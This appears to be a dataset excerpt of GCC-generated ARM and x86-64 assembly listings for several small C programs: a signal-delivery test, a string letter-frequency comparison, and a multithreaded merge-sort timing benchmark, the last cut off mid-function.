.word .LC4
.word .LC5
.size sighandler, .-sighandler
.section .rodata
.align 2
.LC7:
.ascii "Unable to send thread signal, errno %d.\012\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type send_thread_signal, %function
send_thread_signal:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r1, [fp, #-20]
ldr r0, [fp, #-16]
bl pthread_kill
mov r3, r0
cmp r3, #0
beq .L21
ldr r3, .L22
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r2, r3
ldr r1, .L22+4
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L21:
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L23:
.align 2
.L22:
.word stderr
.word .LC7
.size send_thread_signal, .-send_thread_signal
.section .rodata
.align 2
.LC8:
.ascii "Unable to send process signal, errno %d.\012\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type send_process_signal, %function
send_process_signal:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
bl getpid
mov r3, r0
ldr r1, [fp, #-16]
mov r0, r3
bl kill
mov r3, r0
cmp r3, #0
beq .L26
ldr r3, .L27
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r2, r3
ldr r1, .L27+4
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L26:
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L28:
.align 2
.L27:
.word stderr
.word .LC8
.size send_process_signal, .-send_process_signal
.section .rodata
.align 2
.LC9:
.ascii "Unable to initialize thread attributes.\012\000"
.align 2
.LC10:
.ascii "Unable to create thread, errno %d.\012\000"
.align 2
.LC11:
.ascii "FAIL: sigsuspend wakes up for ignored signal SIGIO."
.ascii "\012\000"
.align 2
.LC12:
.ascii "FAIL: sigsuspend doesn't wake up for SIGURG.\012\000"
.align 2
.LC13:
.ascii "FAIL: sigsuspend doesn't wake up for SIGUSR2.\012\000"
.align 2
.LC14:
.ascii "FAIL: signal hander called for SIGUSR1.\012\000"
.align 2
.LC15:
.ascii "FAIL: SIGPIPE did not terminate process.\012\000"
.align 2
.LC16:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 448
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #452
str r0, [fp, #-456]
str r1, [fp, #-460]
ldr r3, .L39
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r2, #260
mov r1, #0
ldr r0, .L39+4
bl memset
sub r3, fp, #156
add r3, r3, #4
mov r0, r3
bl sigemptyset
sub r3, fp, #156
add r3, r3, #4
mov r1, #29
mov r0, r3
bl sigaddset
mov r3, #1
str r3, [fp, #-156]
mov r3, #0
str r3, [fp, #-24]
sub r3, fp, #156
mov r2, #0
mov r1, r3
mov r0, #29
bl sigaction
sub r3, fp, #156
add r3, r3, #4
mov r0, r3
bl sigemptyset
sub r3, fp, #156
add r3, r3, #4
mov r1, #23
mov r0, r3
bl sigaddset
ldr r3, .L39+8
str r3, [fp, #-156]
mov r3, #268435456
str r3, [fp, #-24]
sub r3, fp, #156
mov r2, #0
mov r1, r3
mov r0, #23
bl sigaction
sub r3, fp, #156
add r3, r3, #4
mov r0, r3
bl sigemptyset
sub r3, fp, #156
add r3, r3, #4
mov r1, #24
mov r0, r3
bl sigaddset
sub r3, fp, #156
mov r2, #0
mov r1, r3
mov r0, #24
bl sigaction
sub r3, fp, #412
mov r2, r3
mov r1, #0
mov r0, #2
bl sigprocmask
sub r3, fp, #284
sub r1, fp, #412
mov r2, #128
mov r0, r3
bl memcpy
sub r3, fp, #284
mov r1, #10
mov r0, r3
bl sigaddset
sub r3, fp, #284
mov r1, #12
mov r0, r3
bl sigaddset
sub r3, fp, #284
mov r2, #0
mov r1, r3
mov r0, #2
bl sigprocmask
sub r3, fp, #156
add r3, r3, #4
mov r0, r3
bl sigemptyset
sub r3, fp, #156
add r3, r3, #4
mov r1, #10
mov r0, r3
bl sigaddset
sub r3, fp, #156
mov r2, #0
mov r1, r3
mov r0, #10
bl sigaction
sub r3, fp, #156
add r3, r3, #4
mov r0, r3
bl sigemptyset
sub r3, fp, #156
add r3, r3, #4
mov r1, #12
mov r0, r3
bl sigaddset
sub r3, fp, #156
mov r2, #0
mov r1, r3
mov r0, #12
bl sigaction
sub r3, fp, #448
mov r0, r3
bl pthread_attr_init
mov r3, r0
cmp r3, #0
bne .L30
sub r3, fp, #448
mov r1, #0
mov r0, r3
bl pthread_attr_setdetachstate
mov r3, r0
cmp r3, #0
beq .L31
.L30:
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #40
mov r1, #1
ldr r0, .L39+16
bl fwrite
mov r0, #1
bl exit
.L31:
sub r1, fp, #448
mov r3, #0
ldr r2, .L39+20
ldr r0, .L39+24
bl pthread_create
mov r3, r0
cmp r3, #0
beq .L32
ldr r3, .L39+12
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r2, r3
ldr r1, .L39+28
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L32:
ldr r3, .L39+24
ldr r3, [r3]
mov r1, #29
mov r0, r3
bl send_thread_signal
mov r0, #1
bl sleep
mov r0, #29
bl send_process_signal
mov r0, #1
bl sleep
ldr r3, .L39+4
ldr r3, [r3, #116]
cmp r3, #0
beq .L33
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #52
mov r1, #1
ldr r0, .L39+32
bl fwrite
.L33:
ldr r3, .L39+24
ldr r3, [r3]
mov r1, #23
mov r0, r3
bl send_thread_signal
mov r0, #1
bl sleep
mov r0, #23
bl send_process_signal
mov r0, #1
bl sleep
ldr r3, .L39+4
ldr r3, [r3, #92]
cmp r3, #2
beq .L34
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #45
mov r1, #1
ldr r0, .L39+36
bl fwrite
.L34:
ldr r3, .L39+24
ldr r3, [r3]
mov r1, #12
mov r0, r3
bl send_thread_signal
mov r0, #1
bl sleep
mov r0, #12
bl send_process_signal
mov r0, #1
bl sleep
ldr r3, .L39+4
ldr r3, [r3, #48]
cmp r3, #2
beq .L35
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #46
mov r1, #1
ldr r0, .L39+40
bl fwrite
.L35:
ldr r3, .L39+24
ldr r3, [r3]
mov r1, #10
mov r0, r3
bl send_thread_signal
mov r0, #1
bl sleep
mov r0, #10
bl send_process_signal
mov r0, #1
bl sleep
ldr r3, .L39+4
ldr r3, [r3, #40]
cmp r3, #0
beq .L36
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #40
mov r1, #1
ldr r0, .L39+44
bl fwrite
.L36:
mov r0, #13
bl send_process_signal
ldr r3, .L39+12
ldr r3, [r3]
mov r2, #41
mov r1, #1
ldr r0, .L39+48
bl fwrite
ldr r3, .L39+24
ldr r3, [r3]
sub r2, fp, #452
mov r1, r2
mov r0, r3
bl pthread_join
mov r3, #0
ldr r2, .L39
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L38
bl __stack_chk_fail
.L38:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L40:
.align 2
.L39:
.word .LC16
.word sigcounts
.word sighandler
.word stderr
.word .LC9
.word sigsuspender
.word suspender_tid
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word .LC15
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "88364.c"
.intel_syntax noprefix
.text
.globl get_metrics
.type get_metrics, @function
get_metrics:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 208
mov QWORD PTR -184[rbp], rdi
mov QWORD PTR -192[rbp], rsi
mov QWORD PTR -200[rbp], rdx
mov QWORD PTR -208[rbp], rcx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -144[rbp]
mov edx, 128
mov esi, 0
mov rdi, rax
call memset@PLT
mov DWORD PTR -148[rbp], 0
mov eax, DWORD PTR -148[rbp]
mov DWORD PTR -152[rbp], eax
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -156[rbp], eax
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -160[rbp], eax
jmp .L2
.L3:
movsx eax, BYTE PTR -161[rbp]
sub eax, 65
movsx rdx, eax
mov edx, DWORD PTR -144[rbp+rdx*4]
add edx, 1
cdqe
mov DWORD PTR -144[rbp+rax*4], edx
.L2:
mov eax, DWORD PTR -160[rbp]
lea edx, 1[rax]
mov DWORD PTR -160[rbp], edx
movsx rdx, eax
mov rax, QWORD PTR -184[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
mov BYTE PTR -161[rbp], al
cmp BYTE PTR -161[rbp], 0
jne .L3
mov DWORD PTR -160[rbp], 0
jmp .L4
.L6:
mov eax, DWORD PTR -160[rbp]
cdqe
mov eax, DWORD PTR -144[rbp+rax*4]
test eax, eax
jle .L5
add DWORD PTR -156[rbp], 1
mov eax, DWORD PTR -160[rbp]
cdqe
mov eax, DWORD PTR -144[rbp+rax*4]
add DWORD PTR -152[rbp], eax
mov eax, DWORD PTR -160[rbp]
cdqe
mov edx, DWORD PTR -144[rbp+rax*4]
mov eax, DWORD PTR -160[rbp]
cdqe
mov eax, DWORD PTR -144[rbp+rax*4]
imul eax, edx
add DWORD PTR -148[rbp], eax
.L5:
add DWORD PTR -160[rbp], 1
.L4:
cmp DWORD PTR -160[rbp], 31
jle .L6
mov rax, QWORD PTR -192[rbp]
mov edx, DWORD PTR -156[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -200[rbp]
mov edx, DWORD PTR -152[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR -148[rbp]
mov DWORD PTR [rax], edx
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size get_metrics, .-get_metrics
.section .rodata
.LC0:
.string "%s"
.LC1:
.string "YES"
.LC2:
.string "NO"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 176
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -144[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rcx, -148[rbp]
lea rdx, -152[rbp]
lea rsi, -156[rbp]
lea rax, -144[rbp]
mov rdi, rax
call get_metrics
lea rax, -144[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rcx, -160[rbp]
lea rdx, -164[rbp]
lea rsi, -168[rbp]
lea rax, -144[rbp]
mov rdi, rax
call get_metrics
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -168[rbp]
cmp edx, eax
jne .L9
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -164[rbp]
cmp edx, eax
jne .L9
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -160[rbp]
cmp edx, eax
jne .L9
lea rdi, .LC1[rip]
call puts@PLT
jmp .L10
.L9:
lea rdi, .LC2[rip]
call puts@PLT
.L10:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L12
call __stack_chk_fail@PLT
.L12:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "88364.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global get_metrics
.syntax unified
.arm
.fpu softvfp
.type get_metrics, %function
get_metrics:
@ args = 0, pretend = 0, frame = 168
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #168
str r0, [fp, #-160]
str r1, [fp, #-164]
str r2, [fp, #-168]
str r3, [fp, #-172]
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #136
mov r2, #128
mov r1, #0
mov r0, r3
bl memset
mov r3, #0
str r3, [fp, #-140]
ldr r3, [fp, #-140]
str r3, [fp, #-144]
ldr r3, [fp, #-144]
str r3, [fp, #-148]
ldr r3, [fp, #-148]
str r3, [fp, #-152]
b .L2
.L3:
ldrb r3, [fp, #-153] @ zero_extendqisi2
sub r2, r3, #65
lsl r3, r2, #2
sub r1, fp, #4
add r3, r1, r3
ldr r3, [r3, #-132]
add r1, r3, #1
lsl r3, r2, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-132]
.L2:
ldr r3, [fp, #-152]
add r2, r3, #1
str r2, [fp, #-152]
mov r2, r3
ldr r3, [fp, #-160]
add r3, r3, r2
ldrb r3, [r3]
strb r3, [fp, #-153]
ldrb r3, [fp, #-153] @ zero_extendqisi2
cmp r3, #0
bne .L3
mov r3, #0
str r3, [fp, #-152]
b .L4
.L6:
ldr r3, [fp, #-152]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-132]
cmp r3, #0
ble .L5
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
ldr r3, [fp, #-152]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-132]
ldr r2, [fp, #-144]
add r3, r2, r3
str r3, [fp, #-144]
ldr r3, [fp, #-152]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-132]
ldr r3, [fp, #-152]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
ldr r3, [r3, #-132]
mul r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
.L5:
ldr r3, [fp, #-152]
add r3, r3, #1
str r3, [fp, #-152]
.L4:
ldr r3, [fp, #-152]
cmp r3, #31
ble .L6
ldr r3, [fp, #-164]
ldr r2, [fp, #-148]
str r2, [r3]
ldr r3, [fp, #-168]
ldr r2, [fp, #-144]
str r2, [r3]
ldr r3, [fp, #-172]
ldr r2, [fp, #-140]
str r2, [r3]
nop
ldr r3, .L8
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L7
bl __stack_chk_fail
.L7:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC0
.size get_metrics, .-get_metrics
.section .rodata
.align 2
.LC1:
.ascii "%s\000"
.align 2
.LC2:
.ascii "YES\000"
.align 2
.LC3:
.ascii "NO\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 160
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #160
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #136
mov r1, r3
ldr r0, .L15+4
bl __isoc99_scanf
sub r3, fp, #140
sub r2, fp, #144
sub r1, fp, #148
sub r0, fp, #136
bl get_metrics
sub r3, fp, #136
mov r1, r3
ldr r0, .L15+4
bl __isoc99_scanf
sub r3, fp, #152
sub r2, fp, #156
sub r1, fp, #160
sub r0, fp, #136
bl get_metrics
ldr r2, [fp, #-148]
ldr r3, [fp, #-160]
cmp r2, r3
bne .L11
ldr r2, [fp, #-144]
ldr r3, [fp, #-156]
cmp r2, r3
bne .L11
ldr r2, [fp, #-140]
ldr r3, [fp, #-152]
cmp r2, r3
bne .L11
ldr r0, .L15+8
bl puts
b .L12
.L11:
ldr r0, .L15+12
bl puts
.L12:
mov r3, #0
ldr r2, .L15
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L14
bl __stack_chk_fail
.L14:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L16:
.align 2
.L15:
.word .LC4
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "210159.c"
.intel_syntax noprefix
.text
.globl input
.bss
.align 8
.type input, @object
.size input, 8
input:
.zero 8
.globl output
.align 8
.type output, @object
.size output, 8
output:
.zero 8
.globl n
.align 4
.type n, @object
.size n, 4
n:
.zero 4
.section .rodata
.LC0:
.string "Error in creating thread 1"
.LC1:
.string "Error in creating thread 2"
.text
.globl merge_sort
.type merge_sort, @function
merge_sort:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -88[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -88[rbp]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -68[rbp], eax
mov rax, QWORD PTR -32[rbp]
mov eax, DWORD PTR 4[rax]
mov DWORD PTR -64[rbp], eax
mov eax, DWORD PTR -68[rbp]
cmp eax, DWORD PTR -64[rbp]
jne .L2
mov edi, 0
call pthread_exit@PLT
.L2:
mov edx, DWORD PTR -68[rbp]
mov eax, DWORD PTR -64[rbp]
add eax, edx
mov edx, eax
shr edx, 31
add eax, edx
sar eax
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -60[rbp]
add eax, 1
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -64[rbp]
mov DWORD PTR -12[rbp], eax
lea rdx, -24[rbp]
lea rax, -48[rbp]
mov rcx, rdx
lea rdx, merge_sort[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov DWORD PTR -56[rbp], eax
cmp DWORD PTR -56[rbp], 0
jle .L3
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
.L3:
lea rdx, -16[rbp]
lea rax, -40[rbp]
mov rcx, rdx
lea rdx, merge_sort[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov DWORD PTR -52[rbp], eax
cmp DWORD PTR -52[rbp], 0
jle .L4
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
.L4:
mov rax, QWORD PTR -48[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov rax, QWORD PTR -40[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -80[rbp], eax
mov eax, DWORD PTR -60[rbp]
add eax, 1
mov DWORD PTR -76[rbp], eax
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -72[rbp], eax
jmp .L5
.L8:
mov rdx, QWORD PTR input[rip]
mov eax, DWORD PTR -80[rbp]
cdqe
sal rax, 2
add rax, rdx
mov edx, DWORD PTR [rax]
mov rcx, QWORD PTR input[rip]
mov eax, DWORD PTR -76[rbp]
cdqe
sal rax, 2
add rax, rcx
mov eax, DWORD PTR [rax]
cmp edx, eax
jge .L6
mov rcx, QWORD PTR input[rip]
mov eax, DWORD PTR -80[rbp]
lea edx, 1[rax]
mov DWORD PTR -80[rbp], edx
cdqe
sal rax, 2
add rcx, rax
mov rsi, QWORD PTR output[rip]
mov eax, DWORD PTR -72[rbp]
lea edx, 1[rax]
mov DWORD PTR -72[rbp], edx
cdqe
sal rax, 2
lea rdx, [rsi+rax]
mov eax, DWORD PTR [rcx]
mov DWORD PTR [rdx], eax
jmp .L5
.L6:
mov rcx, QWORD PTR input[rip]
mov eax, DWORD PTR -76[rbp]
lea edx, 1[rax]
mov DWORD PTR -76[rbp], edx
cdqe
sal rax, 2
add rcx, rax
mov rsi, QWORD PTR output[rip]
mov eax, DWORD PTR -72[rbp]
lea edx, 1[rax]
mov DWORD PTR -72[rbp], edx
cdqe
sal rax, 2
lea rdx, [rsi+rax]
mov eax, DWORD PTR [rcx]
mov DWORD PTR [rdx], eax
.L5:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -60[rbp]
jg .L9
mov eax, DWORD PTR -76[rbp]
cmp eax, DWORD PTR -64[rbp]
jle .L8
jmp .L9
.L10:
mov rdx, QWORD PTR input[rip]
mov eax, DWORD PTR -80[rbp]
cdqe
sal rax, 2
lea rcx, [rdx+rax]
mov rsi, QWORD PTR output[rip]
mov eax, DWORD PTR -72[rbp]
lea edx, 1[rax]
mov DWORD PTR -72[rbp], edx
cdqe
sal rax, 2
lea rdx, [rsi+rax]
mov eax, DWORD PTR [rcx]
mov DWORD PTR [rdx], eax
add DWORD PTR -80[rbp], 1
.L9:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -60[rbp]
jle .L10
jmp .L11
.L12:
mov rdx, QWORD PTR input[rip]
mov eax, DWORD PTR -76[rbp]
cdqe
sal rax, 2
lea rcx, [rdx+rax]
mov rsi, QWORD PTR output[rip]
mov eax, DWORD PTR -72[rbp]
lea edx, 1[rax]
mov DWORD PTR -72[rbp], edx
cdqe
sal rax, 2
lea rdx, [rsi+rax]
mov eax, DWORD PTR [rcx]
mov DWORD PTR [rdx], eax
add DWORD PTR -76[rbp], 1
.L11:
mov eax, DWORD PTR -76[rbp]
cmp eax, DWORD PTR -64[rbp]
jle .L12
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -80[rbp], eax
jmp .L13
.L14:
mov rdx, QWORD PTR output[rip]
mov eax, DWORD PTR -80[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rcx, QWORD PTR input[rip]
mov edx, DWORD PTR -80[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov eax, DWORD PTR [rax]
mov DWORD PTR [rdx], eax
add DWORD PTR -80[rbp], 1
.L13:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -64[rbp]
jle .L14
mov edi, 0
call pthread_exit@PLT
.cfi_endproc
.LFE6:
.size merge_sort, .-merge_sort
.section .rodata
.LC2:
.string "n is %d\n"
.align 8
.LC3:
.string "time array element %d is %llu\n"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 240
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -160[rbp]
mov eax, 0
mov ecx, 19
mov rdi, rdx
rep stosq
mov DWORD PTR -236[rbp], 0
mov DWORD PTR n[rip], 100
jmp .L17
.L20:
mov eax, DWORD PTR n[rip]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR n[rip]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR input[rip], rax
lea rax, -224[rbp]
mov rdi, rax
call time@PLT
add eax, 10
mov edi, eax
call srand@PLT
mov DWORD PTR -232[rbp], 0
jmp .L18
.L19:
call rand@PLT
movsx rdx, eax
imul rdx, rdx, 1759218605
shr rdx, 32
sar edx, 12
mov ecx, eax
sar ecx, 31
sub edx, ecx
mov DWORD PTR -228[rbp], edx
mov edx, DWORD PTR -228[rbp]
imul edx, edx, 10000
sub eax, edx
mov DWORD PTR -228[rbp], eax
mov rdx, QWORD PTR input[rip]
mov eax, DWORD PTR -232[rbp]
cdqe
sal rax, 2
add rdx, rax
mov eax, DWORD PTR -228[rbp]
mov DWORD PTR [rdx], eax
add DWORD PTR -232[rbp], 1
.L18:
mov eax, DWORD PTR n[rip]
cmp DWORD PTR -232[rbp], eax
jl .L19
mov eax, DWORD PTR n[rip]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR output[rip], rax
mov DWORD PTR -184[rbp], 0
mov eax, DWORD PTR n[rip]
sub eax, 1
mov DWORD PTR -180[rbp], eax
lea rax, -176[rbp]
mov esi, 0
mov rdi, rax
mov eax, 0
call gettimeofday@PLT
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR -208[rbp], rax
lea rdx, -184[rbp]
lea rax, -216[rbp]
mov rcx, rdx
lea rdx, merge_sort[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov rax, QWORD PTR -216[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
lea rax, -176[rbp]
mov esi, 0
mov rdi, rax
mov eax, 0
call gettimeofday@PLT
mov rax, QWORD PTR -168[rbp]
mov QWORD PTR -200[rbp], rax
mov rax, QWORD PTR -200[rbp]
sub rax, QWORD PTR -208[rbp]
mov QWORD PTR -192[rbp], rax
mov eax, DWORD PTR -236[rbp]
cdqe
mov rdx, QWORD PTR -192[rbp]
mov QWORD PTR -160[rbp+rax*8], rdx
add DWORD PTR -236[rbp], 1
mov eax, DWORD PTR n[rip]
add eax, 50
mov DWORD PTR n[rip], eax
.L17:
mov eax, DWORD PTR n[rip]
cmp eax, 1000
jle .L20
mov DWORD PTR -232[rbp], 0
jmp .L21
.L22:
mov eax, DWORD PTR -232[rbp]
cdqe
mov rdx, QWORD PTR -160[rbp+rax*8]
mov eax, DWORD PTR -232[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -232[rbp], 1
.L21:
mov eax, DWORD PTR -232[rbp]
cmp eax, DWORD PTR -236[rbp]
jl .L22
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L24
call __stack_chk_fail@PLT
.L24:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "210159.c"
.text
.comm input,4,4
.comm output,4,4
.comm n,4,4
.section .rodata
.align 2
.LC0:
.ascii "Error in creating thread 1\000"
.align 2
.LC1:
.ascii "Error in creating thread 2\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global merge_sort
.syntax unified
.arm
.fpu softvfp
.type merge_sort, %function
merge_sort:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #72
str r0, [fp, #-72]
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-72]
str r3, [fp, #-48]
ldr r3, [fp, #-48]
ldr r3, [r3]
str r3, [fp, #-44]
ldr r3, [fp, #-48]
ldr r3, [r3, #4]
str r3, [fp, #-40]
ldr r2, [fp, #-44]
ldr r3, [fp, #-40]
cmp r2, r3
bne .L2
mov r0, #0
bl pthread_exit
.L2:
ldr r2, [fp, #-44]
ldr r3, [fp, #-40]
add r3, r2, r3
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-44]
str r3, [fp, #-24]
ldr r3, [fp, #-36]
str r3, [fp, #-20]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-40]
str r3, [fp, #-12]
sub r3, fp, #24
sub r0, fp, #68
ldr r2, .L16+4
mov r1, #0
bl pthread_create
str r0, [fp, #-32]
ldr r3, [fp, #-32]
cmp r3, #0
ble .L3
ldr r0, .L16+8
bl printf
.L3:
sub r3, fp, #16
sub r0, fp, #64
ldr r2, .L16+4
mov r1, #0
bl pthread_create
str r0, [fp, #-28]
ldr r3, [fp, #-28]
cmp r3, #0
ble .L4
ldr r0, .L16+12
bl printf
.L4:
ldr r3, [fp, #-68]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-64]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-44]
str r3, [fp, #-60]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-56]
